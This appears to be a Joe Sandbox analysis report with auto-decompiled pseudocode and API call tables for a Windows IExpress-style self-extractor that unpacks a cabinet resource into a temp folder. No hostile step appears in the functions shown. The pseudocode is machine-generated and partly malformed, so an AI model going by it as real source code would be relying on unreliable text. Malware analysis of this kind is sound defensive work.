0x00f85b85
0x00f85b98
0x00f85b9e
0x00f85b87
0x00f85b8f
0x00f85b8f
0x00000000
0x00f85b85
0x00f85b29
0x00f85b33
0x00000000
0x00000000
0x00f85b35
0x00f85b48
0x00f85b4a
0x00000000
0x00f85b4a
0x00f85b0f
0x00f85b16
0x00000000
0x00f85b16
0x00f85a7c
0x00f85a8a
0x00f85aa5
0x00f85aab
0x00000000
0x00f859bb
0x00f859c0
0x00f859c7
0x00f859d1
0x00f859d6
0x00f85c05
0x00f85c14
0x00f85c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00F859A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 00F859AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00F85A13
MulDiv.KERNEL32(?,?,00000400), ref: 00F85A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00F85A64
memset.MSVCRT ref: 00F85A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00F85A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00F85AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00F85BFC

Part of subcall function 00F844B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00F84518
Part of subcall function 00F844B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 00F84554

Part of subcall function 00F86285: GetLastError.KERNEL32(00F85BBC), ref: 00F86285

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 8d0616ab3dcf87d02f624871adf19b411f3fdb09de2d8c2e7aed047647d0e990
Instruction ID: ce33b91b0c74f9c25942b46efbaf9f788e2146554266ef4d571621944daf9692
Opcode Fuzzy Hash: 8d0616ab3dcf87d02f624871adf19b411f3fdb09de2d8c2e7aed047647d0e990
Instruction Fuzzy Hash: 8D71A2B1A0061CAFEB15EB64CCC5BFA77ACEB48750F5440AAF505D6140DA749E85AF20

Uniqueness

Uniqueness Score: -1.00%

Function 00F84FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00F84FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0xf89144 = E00F8468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0xf89140 = _t8;
				if(_t8 == 0) {
					return _t8;
				}
				_t9 =  *0xf88584; // 0x0
				if(_t9 != 0) {
					ShowWindow(GetDlgItem(_t9, 0x842), 0);
					ShowWindow(GetDlgItem( *0xf88584, 0x841), 5);
				}
				_t10 = E00F84EFD(0, 0);
				if(_t10 != 0) {
					__imp__#20(E00F84CA0, E00F84CC0, E00F84980, E00F84A50, E00F84AD0, E00F84B60, E00F84BC0, 1, 0xf89148, _t33);
					_t34 = _t10;
					if(_t34 == 0) {
						L8:
						_t29 =  *0xf89148; // 0x0
						_t24 =  *0xf88584; // 0x0
						E00F844B9(_t24, _t29 + 0x514, 0, 0, 0x10, 0);
						_t37 = 0;
						L9:
						goto L10;
					}
					__imp__#22(_t34, "*MEMCAB", 0xf81140, 0, E00F84CD0, 0, 0xf89140); // executed
					_t37 = _t10;
					if(_t37 == 0) {
						goto L9;
					}
					__imp__#23(_t34); // executed
					if(_t10 != 0) {
						goto L9;
					}
					goto L8;
				} else {
					_t27 =  *0xf88584; // 0x0
					E00F844B9(_t27, 0x4ba, 0, 0, 0x10, 0);
					_t37 = 0;
					L10:
					_t12 =  *0xf89140; // 0x0
					if(_t12 != 0) {
						FreeResource(_t12);
						 *0xf89140 = 0;
					}
					if(_t37 == 0) {
						_t47 =  *0xf891d8; // 0x0
						if(_t47 == 0) {
							E00F844B9(0, 0x4f8, 0, 0, 0x10, 0);
						}
					}
					if(( *0xf88a38 & 0x00000001) == 0 && ( *0xf89a34 & 0x00000001) == 0) {
						SendMessageA( *0xf88584, 0xfa1, _t37, 0);
					}
					return _t37;
				}
			}

0x00f84fe0
0x00f84fe6
0x00f84ff9
0x00f8500d
0x00f85013
0x00f8501a
0x00f85163
0x00f85163
0x00f85020
0x00f85027
0x00f85037
0x00f85051
0x00f85051
0x00f85057
0x00f8505e
0x00f850a7
0x00f850ad
0x00f850b4
0x00f850e8
0x00f850e8
0x00f850ee
0x00f850ff
0x00f85104
0x00f85106
0x00000000
0x00f85106
0x00f850cd
0x00f850d3
0x00f850da
0x00000000
0x00000000
0x00f850dd
0x00f850e6
0x00000000
0x00000000
0x00000000
0x00f85060
0x00f85060
0x00f85070
0x00f85075
0x00f85107
0x00f85107
0x00f8510e
0x00f85111
0x00f85117
0x00f85117
0x00f8511f
0x00f85121
0x00f85127
0x00f85135
0x00f85135
0x00f85127
0x00f85141
0x00f85159
0x00f85159
0x00000000
0x00f8515f

APIs

Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846A0
Part of subcall function 00F8468F: SizeofResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846A9
Part of subcall function 00F8468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00F846C3
Part of subcall function 00F8468F: LoadResource.KERNEL32(00000000,00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846CC
Part of subcall function 00F8468F: LockResource.KERNEL32(00000000,?,00F82D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846D3
Part of subcall function 00F8468F: memcpy_s.MSVCRT ref: 00F846E5
Part of subcall function 00F8468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00F846EF

FindResourceA.KERNEL32(00000000,CABINET,0000000A), ref: 00F84FFE
LoadResource.KERNEL32(00000000,00000000), ref: 00F85006
LockResource.KERNEL32(00000000), ref: 00F8500D
GetDlgItem.USER32(00000000,00000842), ref: 00F85030
ShowWindow.USER32(00000000), ref: 00F85037
GetDlgItem.USER32(00000841,00000005), ref: 00F8504A
ShowWindow.USER32(00000000), ref: 00F85051
FreeResource.KERNEL32(00000000,00000000,00000010,00000000), ref: 00F85111
SendMessageA.USER32(00000FA1,00000000,00000000,00000000), ref: 00F85159

Strings

*MEMCAB, xrefs: 00F850C7
CABINET, xrefs: 00F84FE6, 00F84FF7

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: *MEMCAB$CABINET
API String ID: 1305606123-2642027498
Opcode ID: 9fd27aa6d8d8b7886dafaa694a9eb78d1e5de37c86c2a8ad19fbd96555bd9e79
Instruction ID: 919f73e338f55c4df8eaa356bf5c72729e50ca02cf3ea1352f7d2d173871e4e0
Opcode Fuzzy Hash: 9fd27aa6d8d8b7886dafaa694a9eb78d1e5de37c86c2a8ad19fbd96555bd9e79
Instruction Fuzzy Hash: 4331B870B44B0A7BE7207B61AD8DFF7365DE744FA5F080015F902A62A1DAB9DC01B761

Uniqueness

Uniqueness Score: -1.00%

Function 00F853A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00F853A1(CHAR* __ecx, CHAR* __edx) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t5;
				long _t13;
				int _t14;
				CHAR* _t20;
				int _t29;
				int _t30;
				CHAR* _t32;
				signed int _t33;
				void* _t34;

				_t5 =  *0xf88004; // 0x644c7055
				_v8 = _t5 ^ _t33;
				_t32 = __edx;
				_t20 = __ecx;
				_t29 = 0;
				while(1) {
					E00F8171E( &_v268, 0x104, "IXP%03d.TMP", _t29);
					_t34 = _t34 + 0x10;
					_t29 = _t29 + 1;
					E00F81680(_t32, 0x104, _t20);
					E00F8658A(_t32, 0x104,  &_v268); // executed
					RemoveDirectoryA(_t32); // executed
					_t13 = GetFileAttributesA(_t32); // executed
					if(_t13 == 0xffffffff) {
						break;
					}
					if(_t29 < 0x190) {
						continue;
					}
					L3:
					_t30 = 0;
					if(GetTempFileNameA(_t20, "IXP", 0, _t32) != 0) {
						_t30 = 1;
						DeleteFileA(_t32);
						CreateDirectoryA(_t32, 0);
					}
					L5:
					return E00F86CE0(_t30, _t20, _v8 ^ _t33, 0x104, _t30, _t32);
				}
				_t14 = CreateDirectoryA(_t32, 0); // executed
				if(_t14 == 0) {
					goto L3;
				}
				_t30 = 1;
				 *0xf88a20 = 1;
				goto L5;
			}

0x00f853ac
0x00f853b3
0x00f853b9
0x00f853bb
0x00f853bd
0x00f853bf
0x00f853d1
0x00f853d6
0x00f853e0
0x00f853e2
0x00f853f5
0x00f853fb
0x00f85402
0x00f8540b
0x00000000
0x00000000
0x00f85413
0x00000000
0x00000000
0x00f85415
0x00f85416
0x00f85427
0x00f8542a
0x00f8542b
0x00f85434
0x00f85434
0x00f8543a
0x00f8544c
0x00f8544c
0x00f85452
0x00f8545a
0x00000000
0x00000000
0x00f8545e
0x00f8545f
0x00000000

APIs

Part of subcall function 00F8171E: _vsnprintf.MSVCRT ref: 00F81750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F853FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85452

Strings

IXP%03d.TMP, xrefs: 00F853C0
IXP, xrefs: 00F85419
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F853B7, 00F853E1, 00F8541E

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-4044985724
Opcode ID: 529d431f5f3824b96a9ff25301eecc8a653d5158ef20de90f8bf2c7841398568
Instruction ID: 1f9009007443b4ea1778144da670676d0015093c884ae24278484a89029772b5
Opcode Fuzzy Hash: 529d431f5f3824b96a9ff25301eecc8a653d5158ef20de90f8bf2c7841398568
Instruction Fuzzy Hash: 3011E77170050867E720BB369C49FFF766DEFC5721F000126F646D2190DE788947A7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00F85467 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 75%

			E00F85467(CHAR* __ecx, void* __edx, char* _a4) {
				signed int _v8;
				char _v268;
				struct _SYSTEM_INFO _v304;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t10;
				void* _t13;
				intOrPtr _t14;
				void* _t16;
				void* _t20;
				signed int _t26;
				void* _t28;
				void* _t29;
				CHAR* _t48;
				signed int _t49;
				intOrPtr _t61;

				_t10 =  *0xf88004; // 0x644c7055
				_v8 = _t10 ^ _t49;
				_push(__ecx);
				if(__edx == 0) {
					_t48 = 0xf891e4;
					_t42 = 0x104;
					E00F81680(0xf891e4, 0x104);
					L14:
					_t13 = E00F858C8(_t48); // executed
					if(_t13 != 0) {
						L17:
						_t42 = _a4;
						if(_a4 == 0) {
							L23:
							 *0xf89124 = 0;
							_t14 = 1;
							L24:
							return E00F86CE0(_t14, 0, _v8 ^ _t49, _t42, 1, _t48);
						}
						_t16 = E00F8597D(_t48, _t42, 1, 0); // executed
						if(_t16 != 0) {
							goto L23;
						}
						_t61 =  *0xf88a20; // 0x0
						if(_t61 != 0) {
							 *0xf88a20 = 0;
							RemoveDirectoryA(_t48);
						}
						L22:
						_t14 = 0;
						goto L24;
					}
					if(CreateDirectoryA(_t48, 0) == 0) {
						 *0xf89124 = E00F86285();
						goto L22;
					}
					 *0xf88a20 = 1;
					goto L17;
				}
				_t42 =  &_v268;
				_t20 = E00F853A1(__ecx,  &_v268); // executed
				if(_t20 == 0) {
					goto L22;
				}
				_push(__ecx);
				_t48 = 0xf891e4;
				E00F81781(0xf891e4, 0x104, __ecx,  &_v268);
				if(( *0xf89a34 & 0x00000020) == 0) {
					L12:
					_t42 = 0x104;
					E00F8658A(_t48, 0x104, 0xf81140);
					goto L14;
				}
				GetSystemInfo( &_v304);
				_t26 = _v304.dwOemId & 0x0000ffff;
				if(_t26 == 0) {
					_push("i386");
					L11:
					E00F8658A(_t48, 0x104);
					goto L12;
				}
				_t28 = _t26 - 1;
				if(_t28 == 0) {
					_push("mips");
					goto L11;
				}
				_t29 = _t28 - 1;
				if(_t29 == 0) {
					_push("alpha");
					goto L11;
				}
				if(_t29 != 1) {
					goto L12;
				}
				_push("ppc");
				goto L11;
			}

0x00f85472
0x00f85479
0x00f85481
0x00f85484
0x00f8551c
0x00f85521
0x00f85528
0x00f8552d
0x00f8552f
0x00f85539
0x00f8554d
0x00f8554d
0x00f85552
0x00f85585
0x00f85585
0x00f8558b
0x00f8558d
0x00f8559d
0x00f8559d
0x00f85557
0x00f8555e
0x00000000
0x00000000
0x00f85560
0x00f85566
0x00f85569
0x00f8556f
0x00f8556f
0x00f85581
0x00f85581
0x00000000
0x00f85581
0x00f85545
0x00f8557c
0x00000000
0x00f8557c
0x00f85547
0x00000000
0x00f85547
0x00f8548a
0x00f85490
0x00f85497
0x00000000
0x00000000
0x00f8549d
0x00f854ab
0x00f854b4
0x00f854c0
0x00f8550c
0x00f85511
0x00f85515
0x00000000
0x00f85515
0x00f854c9
0x00f854d6
0x00f854d8
0x00f854fe
0x00f85503
0x00f85507
0x00000000
0x00f85507
0x00f854da
0x00f854dd
0x00f854f7
0x00000000
0x00f854f7
0x00f854df
0x00f854e2
0x00f854f0
0x00000000
0x00f854f0
0x00f854e7
0x00000000
0x00000000
0x00f854e9
0x00000000

APIs

GetSystemInfo.KERNEL32(?,?,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F854C9
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8553D
RemoveDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8556F

Part of subcall function 00F853A1: RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F853FB
Part of subcall function 00F853A1: GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85402
Part of subcall function 00F853A1: GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP001.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8541F
Part of subcall function 00F853A1: DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F8542B
Part of subcall function 00F853A1: CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,00000000), ref: 00F85434

Strings

ppc, xrefs: 00F854E9
alpha, xrefs: 00F854F0
i386, xrefs: 00F854FE
mips, xrefs: 00F854F7
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 00F8547D, 00F85481, 00F854AB, 00F8551C, 00F8553C, 00F85568

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: Directory$File$CreateRemove$AttributesDeleteInfoNameSystemTemp
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$alpha$i386$mips$ppc
API String ID: 1979080616-3963195772
Opcode ID: b1a7f2beff07830a5407aa7bf735c093541617e15bf54abf46a8b67381a72a68
Instruction ID: bc241b1177b749ffbc824f119cf3311f203d3b554e0798736eaf3e8210702c85
Opcode Fuzzy Hash: b1a7f2beff07830a5407aa7bf735c093541617e15bf54abf46a8b67381a72a68
Instruction Fuzzy Hash: F4312971F04A045BCF10BF299C496FF779FAB81F54B0C016AA402CA540DB74CE06B795

Uniqueness

Uniqueness Score: -1.00%

Function 00F8256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00F8256D(signed int __ecx) {
				int _v8;
				void* _v12;
				signed int _t13;
				signed int _t19;
				long _t24;
				void* _t26;
				int _t31;
				void* _t34;

				_push(__ecx);
				_push(__ecx);
				_t13 = __ecx & 0x0000ffff;
				_t31 = 0;
				if(_t13 == 0) {
					_t31 = E00F824E0(_t26);
				} else {
					_t34 = _t13 - 1;
					if(_t34 == 0) {
						_v8 = 0;
						if(RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager\\FileRenameOperations", 0, 0x20019,  &_v12) != 0) {
							goto L7;
						} else {
							_t19 = RegQueryInfoKeyA(_v12, 0, 0, 0, 0, 0, 0,  &_v8, 0, 0, 0, 0);
							goto L6;
						}
						L12:
					} else {
						if(_t34 > 0 && __ecx <= 3) {
							_v8 = 0;
							_t24 = RegOpenKeyExA(0x80000002, "System\\CurrentControlSet\\Control\\Session Manager", 0, 0x20019,  &_v12); // executed
							if(_t24 == 0) {
								_t19 = RegQueryValueExA(_v12, "PendingFileRenameOperations", 0, 0, 0,  &_v8); // executed
								L6:
								asm("sbb eax, eax");
								_v8 = _v8 &  !( ~_t19);
								RegCloseKey(_v12); // executed
							}
							L7:
							_t31 = _v8;
						}
					}
				}
				return _t31;
				goto L12;
			}

0x00f82572
0x00f82573
0x00f82575
0x00f82578
0x00f8257d
0x00f82627
0x00f82583
0x00f82586
0x00f82589
0x00f825eb
0x00f82607
0x00000000
0x00f82609
0x00f8261a
0x00000000
0x00f8261a
0x00000000
0x00f8258b
0x00f8258b
0x00f8259e
0x00f825b2
0x00f825ba
0x00f825cb
0x00f825d1
0x00f825d6
0x00f825da
0x00f825dd
0x00f825dd
0x00f825e3
0x00f825e3
0x00f825e3
0x00f8258b
0x00f82589
0x00f8262f
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00F84096,00F84096,?,00F81ED3,00000001,00000000,?,?,00F84137,?), ref: 00F825B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00F84096,?,00F81ED3,00000001,00000000,?,?,00F84137,?,00F84096), ref: 00F825CB
RegCloseKey.KERNELBASE(?,?,00F81ED3,00000001,00000000,?,?,00F84137,?,00F84096), ref: 00F825DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00F84096,00F84096,?,00F81ED3,00000001,00000000,?,?,00F84137,?), ref: 00F825FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00F84096,00000000,00000000,00000000,00000000,?,00F81ED3,00000001,00000000), ref: 00F8261A

Strings

System\CurrentControlSet\Control\Session Manager, xrefs: 00F825A8
System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 00F825F5
PendingFileRenameOperations, xrefs: 00F825C3

Memory Dump Source

Source File: 00000001.00000002.400535414.0000000000F81000.00000020.00000001.01000000.00000004.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000001.00000002.400528798.0000000000F80000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400545316.0000000000F88000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.400552912.0000000000F8C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_f80000_bmMg.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: ef950f5a6a8935b6af500e9c7c36b9c9cf68b8555cc58c3bb4ed225a6ec60677
Instruction ID: 3f7f22f73cee6fd3cb285c981160f7b67211c09418aa3547983cb833f8032f69
Opcode Fuzzy Hash: ef950f5a6a8935b6af500e9c7c36b9c9cf68b8555cc58c3bb4ed225a6ec60677
Instruction Fuzzy Hash: E3114235D42228FBAF20AB919C09DFB7FBCDF057A1F544056B808A2011DB30AE45F7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00F86A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			_entry_(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t25;
				signed int _t26;
				signed int _t29;
				int _t30;
				signed int _t37;
				signed char _t41;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				signed int _t58;
				signed int _t59;
				intOrPtr* _t60;
				void* _t62;
				void* _t67;
				void* _t68;

				E00F87155();
				_push(0x58);
				_push(0xf872b8);
				E00F87208(__ebx, __edi, __esi);
				 *(_t62 - 0x20) = 0;
				GetStartupInfoW(_t62 - 0x68);
				 *((intOrPtr*)(_t62 - 4)) = 0;
				_t56 =  *((intOrPtr*)( *[fs:0x18] + 4));
				_t53 = 0;
				while(1) {
					asm("lock cmpxchg [edx], ecx");
					if(0 == 0) {
						break;
					}
					if(0 != _t56) {
						Sleep(0x3e8);
						continue;
					} else {
						_t58 = 1;
						_t53 = 1;
					}
					L7:
					_t67 =  *0xf888b0 - _t58; // 0x2
					if(_t67 != 0) {
						__eflags =  *0xf888b0; // 0x2
						if(__eflags != 0) {
							 *0xf881e4 = _t58;
							goto L13;
						} else {
							 *0xf888b0 = _t58;
							_t37 = E00F86C3F(0xf810b8, 0xf810c4); // executed
							__eflags = _t37;
							if(__eflags == 0) {
								goto L13;
							} else {
								 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
								_t30 = 0xff;
							}
						}
					} else {
						_push(0x1f);
						L00F86FF4();
						L13:
						_t68 =  *0xf888b0 - _t58; // 0x2
						if(_t68 == 0) {
							_push(0xf810b4);
							_push(0xf810ac);
							L00F87202();
							 *0xf888b0 = 2;
						}
						if(_t53 == 0) {
							 *0xf888ac = 0;
						}
						_t71 =  *0xf888b4;
						if( *0xf888b4 != 0 && E00F87060(_t71, 0xf888b4) != 0) {
							_t60 =  *0xf888b4; // 0x0
							 *0xf8a288(0, 2, 0);
							 *_t60();
						}
						_t25 = __imp___acmdln; // 0x74895b9c
						_t59 =  *_t25;
						 *(_t62 - 0x1c) = _t59;
						_t54 =  *(_t62 - 0x20);
						while(1) {
							_t41 =  *_t59;
							if(_t41 > 0x20) {
								goto L32;
							}
							if(_t41 != 0) {
								if(_t54 != 0) {
									goto L32;
								} else {
									while(_t41 != 0 && _t41 <= 0x20) {
										_t59 = _t59 + 1;
										 *(_t62 - 0x1c) = _t59;
										_t41 =  *_t59;
									}
								}
							}
							__eflags =  *(_t62 - 0x3c) & 0x00000001;
							if(( *(_t62 - 0x3c) & 0x00000001) == 0) {
								_t29 = 0xa;
							} else {
								_t29 =  *(_t62 - 0x38) & 0x0000ffff;
							}
							_push(_t29);
							_t30 = E00F82BFB(0xf80000, 0, _t59); // executed
							 *0xf881e0 = _t30;
							__eflags =  *0xf881f8;
							if( *0xf881f8 == 0) {
								exit(_t30); // executed
								goto L32;
							}
							__eflags =  *0xf881e4;
							if( *0xf881e4 == 0) {
								__imp___cexit();
								_t30 =  *0xf881e0; // 0x0
							}
							 *((intOrPtr*)(_t62 - 4)) = 0xfffffffe;
							goto L40;
							L32:
							__eflags = _t41 - 0x22;
							if(_t41 == 0x22) {
								__eflags = _t54;
								_t15 = _t54 == 0;
								__eflags = _t15;
								_t54 = 0 | _t15;
								 *(_t62 - 0x20) = _t54;
							}
							_t26 = _t41 & 0x000000ff;
							__imp___ismbblead(_t26);
							__eflags = _t26;
							if(_t26 != 0) {
								_t59 = _t59 + 1;
								__eflags = _t59;
								 *(_t62 - 0x1c) = _t59;
							}
							_t59 = _t59 + 1;
							 *(_t62 - 0x1c) = _t59;
						}
					}
					L40:
					return E00F8724D(_t30);
				}
				_t58 = 1;
				__eflags = 1;
				goto L7;
			}

0x00f86a60
0x00f86a6a
0x00f86a6c
0x00f86a71
0x00f86a78
0x00f86a7f
0x00f86a85
0x00f86a8e
0x00f86a91
0x00f86a93
0x00f86a9c
0x00f86aa2
0x00000000
0x00000000
0x00f86aa6
0x00f86ab4
0x00000000
0x00f86aa8
0x00f86aaa
0x00f86aab
0x00f86aab
0x00f86abf
0x00f86abf
0x00f86ac5
0x00f86ad1
0x00f86ad7
0x00f86b05
0x00000000
0x00f86ad9
0x00f86ad9
0x00f86ae9
0x00f86af0
0x00f86af2
0x00000000
0x00f86af4
0x00f86af4
0x00f86afb
0x00f86afb
0x00f86af2
0x00f86ac7
0x00f86ac7
0x00f86ac9
0x00f86b0b
0x00f86b0b
0x00f86b11
0x00f86b13
0x00f86b18
0x00f86b1d
0x00f86b24
0x00f86b24
0x00f86b30
0x00f86b39
0x00f86b39
0x00f86b3b
0x00f86b42
0x00f86b57
0x00f86b5f
0x00f86b65
0x00f86b65
0x00f86b67
0x00f86b6c
0x00f86b6e
0x00f86b71
0x00f86b74
0x00f86b74
0x00f86b79
0x00000000
0x00000000
0x00f86b7d
0x00f86b81
0x00000000
0x00000000
0x00f86b83
0x00f86b8c
0x00f86b8d
0x00f86b90
0x00f86b90
0x00f86b83
0x00f86b81
0x00f86b94
0x00f86b98
0x00f86ba2
0x00f86b9a
0x00f86b9a
0x00f86b9a
0x00f86ba3
0x00f86bab
0x00f86bb0
0x00f86bb5
0x00f86bbc
0x00f86bbf
0x00000000
